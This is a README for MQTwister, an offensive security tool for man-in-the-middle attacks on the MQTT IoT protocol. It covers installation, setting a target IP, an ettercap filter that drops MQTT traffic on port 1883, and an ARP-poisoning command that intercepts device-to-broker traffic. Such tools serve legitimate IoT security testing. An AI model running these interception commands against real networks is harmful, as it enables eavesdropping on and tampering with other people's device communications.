MQTwister

A Tool for Man-in-the-Middle (MitM) Attacks on the MQTT Protocol.

Table of Contents

• MQTwister
  • Table of Contents
  • Setup
    • Using requirements.txt
    • Using Pipenv
  • Usage
  • License
  • Contributing
  • Support this project
  • Contact

Setup

Using requirements.txt

For a classic installation, the file requirements.txt is provided.

1. Clone the repository:

   git clone https://github.com/danielfeitopin/mqtwister.git
   cd mqtwister

2. Create and activate a virtual environment:

   python -m venv .venv
   source .venv/bin/activate

3. Install dependencies:

   pip install -r requirements.txt

Note

On Windows run .venv\Scripts\activate instead of source .venv/bin/activate.

Using Pipenv

For added convenience, the files Pipfile and Pipfile.lock are also provided.

1. Clone the repository:

   git clone https://github.com/danielfeitopin/mqtwister.git
   cd mqtwister

2. Install dependencies:

   pipenv install

Usage

1. Configure the tool by editing the mqtwister/config.py file:

   INTERFACE_NAME = '' # E.g. 'eth0' (Debian), 'Ethernet' (Windows), 'Wi-Fi' (Windows)
   TARGET_IP = ''

2. Run the tool using the package as a module:

   python -m mqtwister

Important

• Be sure to execute the command inside the virtual environment (if used).
• Ensure you have the necessary permissions to run network sniffing tools.

Tip

To interpose the attacker system between the targets' communications, tools as ettercap can be used.

See an example

---

The following filter logs and drops the received MQTT traffic (assuming the default port, 1883). With this filter, ettercap won't forward the MQTT's packets, leaving its processing to mqtwister, and keeping the original messages from reaching their destination without applying changes to the device's operating system or kernel:

# Filename: mqtt_filter.ecf
if (ip.proto == TCP && tcp.src == 1883) {
        msg("\nReceived packet with src port 1883.\n");
        drop();
}
if (ip.proto == TCP && tcp.dst == 1883) {
        msg("\nReceived packet with dst port 1883.\n");
        drop();
}

It can be compiled with etterfilter as follows:

etterfilter mqtt_filter.ecf -o mqtt_filter.ef

And then it can be used with ettercap as shown in the following ARP Poisoning example:

ettercap -T -i $INTERFACE -M arp:remote /$TARGET_IPS// /$BROKER_IP//$MQTT_PORT -F mqtt_filter.ef

---

License

📃 This project is licensed under the GNU General Public License version 2. A copy of this license can be found in the LICENSE file, and in the LICENSES folder.

Permissions	Conditions	Limitations
🟢 Commercial use	🔵 Disclose source	🔴 Liability
🟢 Distribution	🔵 License and copyright notice	🔴 Warranty
🟢 Modification	🔵 Same license
🟢 Private use	🔵 State changes

Table based on choosealicense.com

Why this license?

---

The initial intention was to license this project under the GNU General Public License version 3 (GPLv3) due to its enhanced legal protections, ethical considerations, and long-term sustainability. However, after reviewing the dependencies, it was determined that one of them is licensed under "GPLv2 only," which is incompatible with GPLv3.

To ensure compliance and compatibility with all dependencies, the project is licensed under GPLv2. This decision aligns with the licensing terms of the included components while preserving the principles of open-source software. The permissive BSD-3-Clause-licensed components used in the project remain compatible with GPLv2, as their terms allow integration into projects under more restrictive copyleft licenses.

---

Used dependencies and their licenses

---

Third party packages:

Component	License

Third party dev-packages:

Component	License

---

Contributing

🤝 Contributions are welcome! If you have improvements or bug fixes, feel free to submit a pull request.

❓ For support, please refer to the SUPPORT file for details on how to get help with this project.

📜 Please make sure to review the CONTRIBUTING guidelines and the GOVERNANCE document before getting started.

✅ By participating in this project, you agree to abide by our Code of Conduct.

🔒 Security is a top priority for this project. If you discover any vulnerabilities or have concerns regarding the security of this tool, please report them responsibly by following the SECURITY guidelines.

Support this project

⭐ If you find this project useful, please consider giving it a star on GitHub. Your support helps to improve and maintain the project!

Contact

📧 Feel free to get in touch with me!